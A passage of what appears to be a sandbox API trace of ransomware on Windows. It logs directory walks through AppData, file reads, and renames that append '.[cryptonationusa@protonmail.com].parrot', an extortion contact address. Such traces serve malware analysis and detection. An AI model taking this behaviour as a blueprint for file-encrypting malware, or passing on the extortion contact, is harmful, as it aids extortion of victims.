returned 0x5d4b20 [0076.880] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\10_all_music.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\10_all_music.wpl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0076.883] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.883] ReadFile (in: hFile=0x268, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0076.916] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.917] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x249, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x249, lpOverlapped=0x0) returned 1 [0076.917] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0076.917] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.917] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0076.917] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0076.917] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\11_all_pictures.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\11_all_pictures.wpl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0076.920] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.920] ReadFile (in: hFile=0x268, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0076.922] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.922] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x437, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x437, lpOverlapped=0x0) returned 1 [0076.922] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0076.922] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.922] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0076.922] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0076.922] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\12_all_video.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\12_all_video.wpl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0076.925] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0076.925] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbb53eb00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbb53eb00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.925] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28eee820, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbb480420, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x538, dwReserved0=0x0, dwReserved1=0x0, cFileName="01_Music_auto_rated_at_5_stars.wpl.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="01_MUS~1.PAR")) returned 1 [0076.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x317bee8 [0076.927] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0076.927] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.928] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbb45a2c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbb45a2c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0000E713", cAlternateFileName="")) returned 1 [0076.928] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbb53eb00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbb53eb00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="00010C6E", cAlternateFileName="")) returned 1 [0076.928] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbb53eb00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbb53eb00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="00010C6E", cAlternateFileName="")) returned 0 [0076.929] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0076.929] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.930] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0076.930] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0076.930] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0076.931] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.931] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7f22040, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.931] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.931] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.931] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7f22040, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0076.931] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x6acb58 [0076.932] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0076.932] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7f22040, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.932] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7f22040, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0076.932] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0076.932] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbb375a80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbb375a80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.932] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28eee820, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbb303660, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x105118, dwReserved0=0x0, dwReserved1=0x0, cFileName="CurrentDatabase_372.wmdb.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="CURREN~1.PAR")) returned 1 [0076.932] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x5d33c8 [0076.932] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0076.933] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.933] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4bb72310, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb72310, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.933] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.933] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.933] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x197ec0b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf7a855a0, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7a855a0, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14.0", cAlternateFileName="")) returned 1 [0076.933] lstrcmpW (lpString1="14.0", lpString2=".") returned 1 [0076.933] lstrcmpW (lpString1="14.0", lpString2="..") returned 1 [0076.933] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5e6250 [0076.933] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xbe) returned 0x6aca90 [0076.933] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0076.934] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.934] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x197ec0b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf7a855a0, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7a855a0, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.934] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.934] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.934] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7a855a0, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7ad1860, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7ad1860, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeFileCache", cAlternateFileName="OFFICE~1")) returned 1 [0076.934] lstrcmpW (lpString1="OfficeFileCache", lpString2=".") returned 1 [0076.934] lstrcmpW (lpString1="OfficeFileCache", lpString2="..") returned 1 [0076.934] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0076.934] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6aa9c8 [0076.934] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd6) returned 0x5e9ca0 [0076.934] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0076.934] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.934] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7a855a0, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7ad1860, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7ad1860, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.936] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.936] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.936] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf7aab700, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7aab700, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7ad1860, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="FSD-CNRY.FSD", cAlternateFileName="")) returned 1 [0076.936] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0076.937] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.937] ReadFile (in: hFile=0x278, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0076.938] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.938] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x20000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x20000, lpOverlapped=0x0) returned 1 [0076.939] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0076.945] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.945] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0076.945] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0076.949] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-CNRY.FSD" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\14.0\\officefilecache\\fsd-cnry.fsd"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-CNRY.FSD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\14.0\\officefilecache\\fsd-cnry.fsd.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0076.989] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.989] ReadFile (in: hFile=0x284, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0076.990] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.991] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x20000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x20000, lpOverlapped=0x0) returned 1 [0076.992] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0076.999] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.999] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0076.999] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0077.004] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\14.0\\officefilecache\\fsd-{48508c83-ec67-468f-aa1f-6f3caf625658}.fsd"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\14.0\\officefilecache\\fsd-{48508c83-ec67-468f-aa1f-6f3caf625658}.fsd.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0077.008] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0077.008] ReadFile (in: hFile=0x284, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0077.009] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.009] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x72, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x72, lpOverlapped=0x0) returned 1 [0077.009] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0077.010] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 